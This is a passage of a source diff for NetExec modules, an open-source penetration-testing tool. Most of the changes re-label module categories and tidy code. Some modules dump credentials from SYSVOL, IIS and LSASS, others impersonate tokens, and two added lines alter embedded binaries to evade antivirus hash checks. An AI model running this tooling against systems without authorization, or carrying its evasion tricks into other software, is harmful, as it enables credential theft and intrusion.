context.log.fail("No userPassword Found")
|
||||
context.log.fail("No unixUserPassword Found")
|
||||
@@ -1,5 +1,7 @@
|
||||
from datetime import datetime
|
||||
from nxc.helpers.logger import write_log
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.paths import NXC_PATH
|
||||
import json
|
||||
|
||||
|
||||
@@ -13,11 +15,10 @@ class NXCModule:
|
||||
name = "get_netconnections"
|
||||
description = "Uses WMI to query network connections."
|
||||
supported_protocols = ["smb", "wmi"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""No options"""
|
||||
"""No options available"""
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
data = []
|
||||
@@ -31,4 +32,4 @@ class NXCModule:
|
||||
|
||||
log_name = f"network-connections-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log"
|
||||
write_log(json.dumps(data), log_name)
|
||||
context.log.display(f"Saved raw output to ~/.nxc/logs/{log_name}")
|
||||
context.log.display(f"Saved raw output to {NXC_PATH}/logs/{log_name}")
|
||||
@@ -1,5 +1,6 @@
|
||||
import xml.etree.ElementTree as ET
|
||||
from io import BytesIO
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -11,8 +12,7 @@ class NXCModule:
|
||||
name = "gpp_autologin"
|
||||
description = "Searches the domain controller for registry.xml to find autologon information and returns the username and password."
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def options(self, context, module_options):
|
||||
""" """
|
||||
|
||||
@@ -3,6 +3,7 @@ from Cryptodome.Cipher import AES
|
||||
from base64 import b64decode
|
||||
from binascii import unhexlify
|
||||
from io import BytesIO
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -14,21 +15,21 @@ class NXCModule:
|
||||
name = "gpp_password"
|
||||
description = "Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences."
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def options(self, context, module_options):
|
||||
""" """
|
||||
"""No options available"""
|
||||
|
||||
def on_login(self, context, connection):
|
||||
shares = connection.shares()
|
||||
for share in shares:
|
||||
if share["name"] == "SYSVOL" and "READ" in share["access"]:
|
||||
if share["name"].lower() == "sysvol" and "READ" in share["access"]:
|
||||
sysvol = share["name"]
|
||||
context.log.success("Found SYSVOL share")
|
||||
context.log.display("Searching for potential XML files containing passwords")
|
||||
|
||||
paths = connection.spider(
|
||||
"SYSVOL",
|
||||
sysvol,
|
||||
pattern=[
|
||||
"Groups.xml",
|
||||
"Services.xml",
|
||||
@@ -43,7 +44,7 @@ class NXCModule:
|
||||
context.log.display(f"Found {path}")
|
||||
|
||||
buf = BytesIO()
|
||||
connection.conn.getFile("SYSVOL", path, buf.write)
|
||||
connection.conn.getFile(sysvol, path, buf.write)
|
||||
xml = ET.fromstring(buf.getvalue())
|
||||
sections = []
|
||||
|
||||
|
||||
@@ -0,0 +1,259 @@
|
||||
import ssl
|
||||
import ldap3
|
||||
import re
|
||||
from io import BytesIO
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Module to retrieve privileges assigned via Group Policy Objects (GPOs) by parsing GptTmpl.inf files
|
||||
and resolving SIDs using LDAP.
|
||||
"""
|
||||
|
||||
name = "gpp_privileges"
|
||||
description = "Extracts privileges assigned via GPOs and resolves SIDs via LDAP."
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
WELL_KNOWN_SIDS = {
|
||||
"S-1-0": "Null Authority",
|
||||
"S-1-0-0": "Nobody",
|
||||
"S-1-1": "World Authority",
|
||||
"S-1-1-0": "Everyone",
|
||||
"S-1-2": "Local Authority",
|
||||
"S-1-2-0": "Local",
|
||||
"S-1-2-1": "Console Logon",
|
||||
"S-1-3": "Creator Authority",
|
||||
"S-1-3-0": "Creator Owner",
|
||||
"S-1-3-1": "Creator Group",
|
||||
"S-1-3-2": "Creator Owner Server",
|
||||
"S-1-3-3": "Creator Group Server",
|
||||
"S-1-3-4": "Owner Rights",
|
||||
"S-1-5-80-0": "All Services",
|
||||
"S-1-4": "Non-unique Authority",
|
||||
"S-1-5": "NT Authority",
|
||||
"S-1-5-1": "Dialup",
|
||||
"S-1-5-2": "Network",
|
||||
"S-1-5-3": "Batch",
|
||||
"S-1-5-4": "Interactive",
|
||||
"S-1-5-6": "Service",
|
||||
"S-1-5-7": "Anonymous",
|
||||
"S-1-5-8": "Proxy",
|
||||
"S-1-5-9": "Enterprise Domain Controllers",
|
||||
"S-1-5-10": "Principal Self",
|
||||
"S-1-5-11": "Authenticated Users",
|
||||
"S-1-5-12": "Restricted Code",
|
||||
"S-1-5-13": "Terminal Server Users",
|
||||
"S-1-5-14": "Remote Interactive Logon",
|
||||
"S-1-5-15": "This Organization",
|
||||
"S-1-5-17": "This Organization",
|
||||
"S-1-5-18": "Local System",
|
||||
"S-1-5-19": "NT Authority",
|
||||
"S-1-5-20": "NT Authority",
|
||||
"S-1-5-32-544": "Administrators",
|
||||
"S-1-5-32-545": "Users",
|
||||
"S-1-5-32-546": "Guests",
|
||||
"S-1-5-32-547": "Power Users",
|
||||
"S-1-5-32-548": "Account Operators",
|
||||
"S-1-5-32-549": "Server Operators",
|
||||
"S-1-5-32-550": "Print Operators",
|
||||
"S-1-5-32-551": "Backup Operators",
|
||||
"S-1-5-32-552": "Replicators",
|
||||
"S-1-5-64-10": "NTLM Authentication",
|
||||
"S-1-5-64-14": "SChannel Authentication",
|
||||
"S-1-5-64-21": "Digest Authority",
|
||||
"S-1-5-80": "NT Service",
|
||||
"S-1-5-83-0": "NT VIRTUAL MACHINE\\Virtual Machines",
|
||||
"S-1-16-0": "Untrusted Mandatory Level",
|
||||
"S-1-16-4096": "Low Mandatory Level",
|
||||
"S-1-16-8192": "Medium Mandatory Level",
|
||||
"S-1-16-8448": "Medium Plus Mandatory Level",
|
||||
"S-1-16-12288": "High Mandatory Level",
|
||||
"S-1-16-16384": "System Mandatory Level",
|
||||
"S-1-16-20480": "Protected Process Mandatory Level",
|
||||
"S-1-16-28672": "Secure Process Mandatory Level",
|
||||
"S-1-5-32-554": "BUILTIN\\Pre-Windows 2000 Compatible Access",
|
||||
"S-1-5-32-555": "BUILTIN\\Remote Desktop Users",
|
||||
"S-1-5-32-557": "BUILTIN\\Incoming Forest Trust Builders",
|
||||
"S-1-5-32-556": "BUILTIN\\Network Configuration Operators",
|
||||
"S-1-5-32-558": "BUILTIN\\Performance Monitor Users",
|
||||
"S-1-5-32-559": "BUILTIN\\Performance Log Users",
|
||||
"S-1-5-32-560": "BUILTIN\\Windows Authorization Access Group",
|
||||
"S-1-5-32-561": "BUILTIN\\Terminal Server License Servers",
|
||||
"S-1-5-32-562": "BUILTIN\\Distributed COM Users",
|
||||
"S-1-5-32-569": "BUILTIN\\Cryptographic Operators",
|
||||
"S-1-5-32-573": "BUILTIN\\Event Log Readers",
|
||||
"S-1-5-32-574": "BUILTIN\\Certificate Service DCOM Access",
|
||||
"S-1-5-32-575": "BUILTIN\\RDS Remote Access Servers",
|
||||
"S-1-5-32-576": "BUILTIN\\RDS Endpoint Servers",
|
||||
"S-1-5-32-577": "BUILTIN\\RDS Management Servers",
|
||||
"S-1-5-32-578": "BUILTIN\\Hyper-V Administrators",
|
||||
"S-1-5-32-579": "BUILTIN\\Access Control Assistance Operators",
|
||||
"S-1-5-32-580": "BUILTIN\\Remote Management Users",
|
||||
}
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""NO_LDAP If set to True, disables LDAP queries for resolving SIDs."""
|
||||
self.no_ldap = module_options.get("NO_LDAP", False)
|
||||
|
||||
def on_login(self, context, connection):
|
||||
try:
|
||||
connection.conn.listPath("SYSVOL", "*")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Failed to list shares: {e}")
|
||||
return
|
||||
|
||||
context.log.display("Searching for GptTmpl.inf files")
|
||||
paths = connection.spider("SYSVOL", pattern=["GptTmpl.inf"])
|
||||
|
||||
if not paths:
|
||||
context.log.warning("No GptTmpl.inf files found in SYSVOL.")
|
||||
return
|
||||
|
||||
for path in paths:
|
||||
if "6AC1786C-016F-11D2-945F-00C04fB984F9" in path: # Default Domain Policy
|
||||
context.log.success(f"Found Default Domain Policy GptTmpl.inf: {path}")
|
||||
else:
|
||||
context.log.info(f"Found GptTmpl.inf: {path}")
|
||||
|
||||
buf = BytesIO()
|
||||
connection.conn.getFile("SYSVOL", path, buf.write)
|
||||
|
||||
try:
|
||||
content = buf.getvalue().decode("utf-16le")
|
||||
except UnicodeDecodeError as e:
|
||||
context.log.error(f"Failed to decode {path} as UTF-16LE: {e}")
|
||||
continue
|
||||
|
||||
privileges = self.extract_privileges(content)
|
||||
if privileges:
|
||||
ldap_connection = None
|
||||
if not self.no_ldap:
|
||||
ldap_connection = self.initialize_ldap_connection(context, connection)
|
||||
|
||||
context.log.success(f"Privileges extracted from {path}:")
|
||||
for privilege, sids in privileges.items():
|
||||
resolved_sids = [self.resolve_sid(context, sid, ldap_connection) for sid in sids]
|
||||
context.log.highlight(f"{privilege}: {', '.join(resolved_sids)}")
|
||||
|
||||
if ldap_connection:
|
||||
ldap_connection.unbind()
|
||||
|
||||
def extract_privileges(self, content):
|
||||
"""Parses the content of GptTmpl.inf to extract privilege rights."""
|
||||
privileges = {}
|
||||
in_priv_section = False
|
||||
|
||||
for line in content.splitlines():
|
||||
if line.strip() == "[Privilege Rights]":
|
||||
in_priv_section = True
|
||||
continue
|
||||
if in_priv_section and line.strip() == "":
|
||||
break
|
||||
if in_priv_section:
|
||||
match = re.match(r"^(.*?)\s*=\s*(.*)$", line)
|
||||
if match:
|
||||
privilege, sids = match.groups()
|
||||
privileges[privilege] = [sid.strip("*") for sid in sids.split(",")]
|
||||
|
||||
return privileges
|
||||
|
||||
def initialize_ldap_connection(self, context, connection):
|
||||
"""
|
||||
Initializes an LDAP connection using LDAP3 with LDAPS first, then falls back to plaintext LDAP if LDAPS fails.
|
||||
Attempts to retrieve the base DN from the Root DSE or derive it from the domain name.
|
||||
"""
|
||||
tls = ldap3.Tls(validate=ssl.CERT_NONE, version=ssl.PROTOCOL_TLSv1_2, ciphers="ALL:@SECLEVEL=0")
|
||||
base_dn = None
|
||||
|
||||
try:
|
||||
ldap_server = ldap3.Server(connection.host, use_ssl=True, port=636, tls=tls, get_info=ldap3.ALL)
|
||||
ldap_connection = ldap3.Connection(
|
||||
ldap_server,
|
||||
user=f"{connection.domain}\\{connection.username}",
|
||||
password=connection.password,
|
||||
authentication=ldap3.NTLM,
|
||||
raise_exceptions=True,
|
||||
)
|
||||
ldap_connection.bind()
|
||||
context.log.success("Connected to LDAP over SSL (LDAPS).")
|
||||
|
||||
try:
|
||||
base_dn = ldap_server.info.other.get("defaultNamingContext", [None])[0]
|
||||
except Exception as e:
|
||||
context.log.warning(f"Failed to query Root DSE for defaultNamingContext over plaintext LDAP: {e}")
|
||||
|
||||
if not base_dn:
|
||||
domain_parts = connection.domain.split(".")
|
||||
base_dn = ",".join([f"dc={part}" for part in domain_parts])
|
||||
context.log.info(f"Derived base DN: {base_dn}")
|
||||
|
||||
ldap_connection.base_dn = base_dn
|
||||
return ldap_connection
|
||||
|
||||
except Exception as ldaps_error:
|
||||
context.log.warning(f"LDAPS connection failed: {ldaps_error}")
|
||||
context.log.info("Falling back to plain LDAP...")
|
||||
|
||||
try:
|
||||
ldap_server = ldap3.Server(connection.host, use_ssl=False, port=389, get_info=ldap3.ALL)
|
||||
ldap_connection = ldap3.Connection(
|
||||
ldap_server,
|
||||
user=f"{connection.domain}\\{connection.username}",
|
||||
password=connection.password,
|
||||
authentication=ldap3.NTLM,
|
||||
raise_exceptions=True,
|
||||
)
|
||||
ldap_connection.bind()
|
||||
context.log.info("Connected to LDAP successfully (plaintext).")
|
||||
|
||||
try:
|
||||
base_dn = ldap_server.info.other.get("defaultNamingContext", [None])[0]
|
||||
except Exception as e:
|
||||
context.log.warning(f"Failed to query Root DSE for defaultNamingContext over plaintext LDAP: {e}")
|
||||
|
||||
if not base_dn:
|
||||
domain_parts = connection.domain.split(".")
|
||||
base_dn = ",".join([f"dc={part}" for part in domain_parts])
|
||||
context.log.info(f"Derived base DN: {base_dn}")
|
||||
|
||||
ldap_connection.base_dn = base_dn
|
||||
return ldap_connection
|
||||
|
||||
except Exception as ldap_error:
|
||||
context.log.error(f"Failed to connect to LDAP: {ldap_error}")
|
||||
|
||||
return None
|
||||
|
||||
def resolve_sid(self, context, sid, ldap_connection):
|
||||
"""Resolves a SID to a human-readable name using well-known mappings or LDAP queries."""
|
||||
if sid in self.WELL_KNOWN_SIDS:
|
||||
return self.WELL_KNOWN_SIDS[sid]
|
||||
|
||||
if ldap_connection and ldap_connection.bound:
|
||||
try:
|
||||
base_dn = getattr(ldap_connection, "base_dn", None)
|
||||
if not base_dn:
|
||||
context.log.warning(f"No base DN found for LDAP connection. Cannot resolve SID {sid}.")
|
||||
return sid
|
||||
|
||||
search_filter = f"(objectSid={ldap3.utils.conv.escape_filter_chars(sid)})"
|
||||
ldap_connection.search(
|
||||
search_base=base_dn,
|
||||
search_filter=search_filter,
|
||||
attributes=["sAMAccountName"],
|
||||
)
|
||||
|
||||
if ldap_connection.entries:
|
||||
entry = ldap_connection.entries[0]
|
||||
return f"{entry['sAMAccountName']}"
|
||||
else:
|
||||
context.log.warning(f"SID {sid} not found in LDAP. Returning raw SID.")
|
||||
|
||||
except Exception as e:
|
||||
context.log.error(f"Failed to resolve SID {sid} via LDAP: {e}")
|
||||
else:
|
||||
context.log.warning(f"LDAP connection not established or unbound. Returning raw SID: {sid}")
|
||||
|
||||
return sid
|
||||
@@ -1,5 +1,6 @@
|
||||
from impacket.ldap import ldapasn1 as ldapasn1_impacket
|
||||
import sys
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -11,15 +12,17 @@ class NXCModule:
|
||||
"""
|
||||
|
||||
name = "group-mem"
|
||||
description = "Retrieves all the members within a Group"
|
||||
description = "[REMOVED] Retrieves all the members within a Group"
|
||||
supported_protocols = ["ldap"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = False
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
primaryGroupID = ""
|
||||
answers = []
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
r"""
|
||||
[REMOVED] Use the ldap flag '--groups "Administrators"' instead of the module group-mem.
|
||||
|
||||
group-mem: Specify group-mem to call the module
|
||||
GROUP: Specify the GROUP option to query for that group's members
|
||||
Usage: nxc ldap $DC-IP -u Username -p Password -M group-mem -o GROUP="domain admins"
|
||||
@@ -34,6 +37,9 @@ class NXCModule:
|
||||
sys.exit(1)
|
||||
|
||||
def on_login(self, context, connection):
|
||||
context.log.fail("[REMOVED] Use the ldap flag '--groups \"Administrators\"' instead of the module group-mem.")
|
||||
return None
|
||||
|
||||
# First look up the SID of the group passed in
|
||||
search_filter = "(&(objectCategory=group)(cn=" + self.GROUP + "))"
|
||||
attribute = "objectSid"
|
||||
@@ -68,7 +74,7 @@ class NXCModule:
|
||||
def do_search(self, context, connection, searchFilter, attributeName):
|
||||
try:
|
||||
context.log.debug(f"Search Filter={searchFilter}")
|
||||
resp = connection.ldapConnection.search(searchFilter=searchFilter, attributes=[attributeName], sizeLimit=0)
|
||||
resp = connection.ldap_connection.search(searchFilter=searchFilter, attributes=[attributeName], sizeLimit=0)
|
||||
context.log.debug(f"Total number of records returned {len(resp)}")
|
||||
for item in resp:
|
||||
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
from impacket.ldap import ldapasn1 as ldapasn1_impacket
|
||||
from impacket.ldap import ldap as ldap_impacket
|
||||
import sys
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -15,8 +16,7 @@ class NXCModule:
|
||||
name = "groupmembership"
|
||||
description = "Query the groups to which a user belongs."
|
||||
supported_protocols = ["ldap"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""USER Choose a username to query group membership"""
|
||||
@@ -37,7 +37,7 @@ class NXCModule:
|
||||
|
||||
try:
|
||||
context.log.debug(f"Search Filter={searchFilter}")
|
||||
resp = connection.ldapConnection.search(
|
||||
resp = connection.ldap_connection.search(
|
||||
searchFilter=searchFilter,
|
||||
attributes=["memberOf", "primaryGroupID"],
|
||||
sizeLimit=0,
|
||||
|
||||
+21
-13
@@ -5,17 +5,17 @@
|
||||
import base64
|
||||
import re
|
||||
import sys
|
||||
|
||||
from datetime import datetime
|
||||
from nxc.helpers.bloodhound import add_user_bh
|
||||
import pypykatz
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from pypykatz.pypykatz import pypykatz
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "handlekatz"
|
||||
description = "Get lsass dump using handlekatz64 and parse the result with pypykatz"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = False
|
||||
multiple_hosts = True
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def options(self, context, module_options):
|
||||
r"""
|
||||
@@ -34,6 +34,8 @@ class NXCModule:
|
||||
self.handlekatz_path = "/tmp/"
|
||||
self.dir_result = self.handlekatz_path
|
||||
self.useembeded = True
|
||||
# Add some random binary data to defeat AVs which check the file hash
|
||||
self.handlekatz_embeded += datetime.now().strftime("%Y%m%d%H%M%S").encode()
|
||||
|
||||
if "HANDLEKATZ_PATH" in module_options:
|
||||
self.handlekatz_path = module_options["HANDLEKATZ_PATH"]
|
||||
@@ -50,7 +52,7 @@ class NXCModule:
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
handlekatz_loc = self.handlekatz_path + self.handlekatz
|
||||
|
||||
|
||||
if self.useembeded:
|
||||
try:
|
||||
with open(handlekatz_loc, "wb") as handlekatz:
|
||||
@@ -78,6 +80,7 @@ class NXCModule:
|
||||
|
||||
if not p or p == "None":
|
||||
context.log.fail("Failed to execute command to get LSASS PID")
|
||||
self.delete_handlekatz_binary(connection, context)
|
||||
return
|
||||
# we get a CSV string back from `tasklist`, so we grab the PID from it
|
||||
pid = p.split(",")[1][1:-1]
|
||||
@@ -96,12 +99,15 @@ class NXCModule:
|
||||
context.log.fail("Process lsass.exe error un dump, try with verbose")
|
||||
dump = False
|
||||
|
||||
if dump:
|
||||
if not dump:
|
||||
self.delete_handlekatz_binary(connection, context)
|
||||
return
|
||||
else:
|
||||
regex = r"([A-Za-z0-9-]*\.log)"
|
||||
matches = re.search(regex, str(p), re.MULTILINE)
|
||||
if not matches:
|
||||
context.log.display("Error getting the lsass.dmp file name")
|
||||
sys.exit(1)
|
||||
return
|
||||
|
||||
machine_name = matches.group()
|
||||
context.log.display(f"Copy {machine_name} to host")
|
||||
@@ -113,12 +119,7 @@ class NXCModule:
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error while get file: {e}")
|
||||
|
||||
try:
|
||||
connection.conn.deleteFile(self.share, self.tmp_share + self.handlekatz)
|
||||
context.log.success(f"Deleted handlekatz file on the {self.share} share")
|
||||
except Exception as e:
|
||||
context.log.fail(f"[OPSEC] Error deleting handlekatz file on share {self.share}: {e}")
|
||||
|
||||
self.delete_handlekatz_binary()
|
||||
try:
|
||||
connection.conn.deleteFile(self.share, self.tmp_share + machine_name)
|
||||
context.log.success(f"Deleted lsass.dmp file on the {self.share} share")
|
||||
@@ -182,3 +183,10 @@ class NXCModule:
|
||||
add_user_bh(credz_bh, None, context.log, connection.config)
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error opening dump file: {e}")
|
||||
|
||||
def delete_handlekatz_binary(self, connection, context):
|
||||
try:
|
||||
connection.conn.deleteFile(self.share, self.tmp_share + self.handlekatz)
|
||||
context.log.success(f"Deleted handlekatz file on the {self.share} share")
|
||||
except Exception as e:
|
||||
context.log.fail(f"[OPSEC] Error deleting handlekatz file on share {self.share}: {e}")
|
||||
@@ -8,6 +8,7 @@ from lsassy.dumper import Dumper
|
||||
from lsassy.parser import Parser
|
||||
from lsassy.session import Session
|
||||
from lsassy.impacketfile import ImpacketFile
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
credentials_data = []
|
||||
found_users = []
|
||||
@@ -130,8 +131,7 @@ class NXCModule:
|
||||
name = "hash_spider"
|
||||
description = "Dump lsass recursively from a given hash using BH to find local admins"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
category = CATEGORY.PRIVILEGE_ESCALATION
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
|
||||
@@ -0,0 +1,53 @@
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
from impacket.dcerpc.v5 import rrp
|
||||
from impacket.examples.secretsdump import RemoteOperations
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""Module by @joaovarelas"""
|
||||
|
||||
name = "hyperv-host"
|
||||
description = "Performs a registry query on the VM to lookup its HyperV Host"
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
|
||||
def options(self, context, module_options):
|
||||
""""""
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
self.context = context
|
||||
|
||||
path = "SOFTWARE\\Microsoft\\Virtual Machine\\Guest\\Parameters"
|
||||
key = "HostName"
|
||||
|
||||
try:
|
||||
remote_ops = RemoteOperations(connection.conn, False)
|
||||
remote_ops.enableRegistry()
|
||||
|
||||
ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
|
||||
reg_handle = ans["phKey"]
|
||||
|
||||
# Query
|
||||
try:
|
||||
ans = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, path)
|
||||
key_handle = ans["phkResult"]
|
||||
|
||||
data_type, reg_value = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, key)
|
||||
self.context.log.highlight(f"{key}: {reg_value}")
|
||||
|
||||
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
|
||||
|
||||
except DCERPCException as e:
|
||||
self.context.log.debug(f"Registry key {path}\\{key} does not exist: {e}")
|
||||
|
||||
except DCERPCException as e:
|
||||
self.context.log.fail(f"DCERPC Error while querying registry: {e}")
|
||||
except Exception as e:
|
||||
self.context.log.fail(f"Error while querying registry: {e}")
|
||||
finally:
|
||||
remote_ops.finish()
|
||||
+5
-6
@@ -1,3 +1,6 @@
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Checks for credentials in IIS Application Pool configuration files using appcmd.exe.
|
||||
@@ -8,14 +11,10 @@ class NXCModule:
|
||||
name = "iis"
|
||||
description = "Checks for credentials in IIS Application Pool configuration files using appcmd.exe"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self):
|
||||
pass
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def options(self, context, module_options):
|
||||
pass
|
||||
"""No options available"""
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
self.check_appcmd(context, connection)
|
||||
|
||||
@@ -6,7 +6,8 @@
|
||||
from base64 import b64decode
|
||||
from os import path
|
||||
import sys
|
||||
|
||||
from datetime import datetime
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.paths import DATA_PATH
|
||||
|
||||
|
||||
@@ -14,8 +15,7 @@ class NXCModule:
|
||||
name = "impersonate"
|
||||
description = "List and impersonate tokens to run command as locally logged on users"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True # could be flagged
|
||||
multiple_hosts = True
|
||||
category = CATEGORY.PRIVILEGE_ESCALATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
@@ -29,8 +29,13 @@ class NXCModule:
|
||||
self.impersonate = "Impersonate.exe"
|
||||
self.useembeded = True
|
||||
self.token = self.cmd = ""
|
||||
|
||||
with open(path.join(DATA_PATH, ("impersonate_module/impersonate.bs64"))) as impersonate_file:
|
||||
self.impersonate_embedded = b64decode(impersonate_file.read())
|
||||
|
||||
# Add some random binary data to defeat AVs which check the file hash
|
||||
self.impersonate_embedded += datetime.now().strftime("%Y%m%d%H%M%S").encode()
|
||||
|
||||
if "EXEC" in module_options:
|
||||
self.cmd = module_options["EXEC"]
|
||||
|
||||
|
||||
@@ -1,14 +1,14 @@
|
||||
from impacket.dcerpc.v5 import rrp
|
||||
from impacket.dcerpc.v5 import scmr
|
||||
from impacket.examples.secretsdump import RemoteOperations
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "install_elevated"
|
||||
description = "Checks for AlwaysInstallElevated"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
""" """
|
||||
|
||||
@@ -1,43 +1,49 @@
|
||||
# Credit to https://airbus-cyber-security.com/fr/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/
|
||||
# Airbus CERT
|
||||
# module by @mpgn_x64
|
||||
# updated by @NeffIsBack
|
||||
|
||||
from ipaddress import ip_address
|
||||
from impacket.dcerpc.v5 import transport
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_NONE
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_NONE, DCERPCException
|
||||
from impacket.dcerpc.v5.dcomrt import IObjectExporter
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "ioxidresolver"
|
||||
description = "This module helps you to identify hosts that have additional active interfaces"
|
||||
supported_protocols = ["smb", "wmi"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = False
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
""" """
|
||||
"""DIFFERENT show only ip address if different from target ip (Default: False)"""
|
||||
self.pivot = module_options.get("DIFFERENT", "false").lower() in ["true", "1"]
|
||||
|
||||
def on_login(self, context, connection):
|
||||
authLevel = RPC_C_AUTHN_LEVEL_NONE
|
||||
try:
|
||||
rpctransport = transport.DCERPCTransportFactory(f"ncacn_ip_tcp:{connection.host}")
|
||||
rpctransport.setRemoteHost(connection.host)
|
||||
|
||||
stringBinding = r"ncacn_ip_tcp:%s" % connection.host
|
||||
rpctransport = transport.DCERPCTransportFactory(stringBinding)
|
||||
rpctransport.setRemoteHost(connection.host)
|
||||
portmap = rpctransport.get_dce_rpc()
|
||||
portmap.set_auth_level(RPC_C_AUTHN_LEVEL_NONE)
|
||||
portmap.connect()
|
||||
|
||||
portmap = rpctransport.get_dce_rpc()
|
||||
portmap.set_auth_level(authLevel)
|
||||
portmap.connect()
|
||||
objExporter = IObjectExporter(portmap)
|
||||
bindings = objExporter.ServerAlive2()
|
||||
|
||||
objExporter = IObjectExporter(portmap)
|
||||
bindings = objExporter.ServerAlive2()
|
||||
context.log.debug(f"Retrieving network interface of {connection.host}")
|
||||
|
||||
context.log.debug("[*] Retrieving network interface of " + connection.host)
|
||||
|
||||
for binding in bindings:
|
||||
NetworkAddr = binding["aNetworkAddr"]
|
||||
try:
|
||||
ip_address(NetworkAddr[:-1])
|
||||
context.log.highlight("Address: " + NetworkAddr)
|
||||
except Exception as e:
|
||||
context.log.debug(e)
|
||||
for binding in bindings:
|
||||
NetworkAddr = binding["aNetworkAddr"]
|
||||
try:
|
||||
ip_address(NetworkAddr[:-1])
|
||||
if self.pivot:
|
||||
if NetworkAddr.rstrip("\x00") != connection.host:
|
||||
context.log.highlight(f"Address: {NetworkAddr}")
|
||||
else:
|
||||
context.log.highlight(f"Address: {NetworkAddr}")
|
||||
except Exception as e:
|
||||
context.log.debug(e)
|
||||
except DCERPCException as e:
|
||||
context.log.error(f"DCERPCException error: {e}")
|
||||
@@ -1,4 +1,5 @@
|
||||
from csv import reader
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -12,8 +13,7 @@ class NXCModule:
|
||||
name = "keepass_discover"
|
||||
description = "Search for KeePass-related files and process."
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True # only legitimate commands are executed on the remote host (search process and files)
|
||||
multiple_hosts = True
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def __init__(self):
|
||||
self.search_type = "ALL"
|
||||
|
||||
@@ -4,8 +4,10 @@ from time import sleep
|
||||
from csv import reader
|
||||
from base64 import b64encode
|
||||
from io import BytesIO, StringIO
|
||||
from xml.etree import ElementTree
|
||||
from xml.etree import ElementTree as ET
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.powershell import get_ps_script
|
||||
from nxc.paths import TMP_PATH
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -20,11 +22,10 @@ class NXCModule:
|
||||
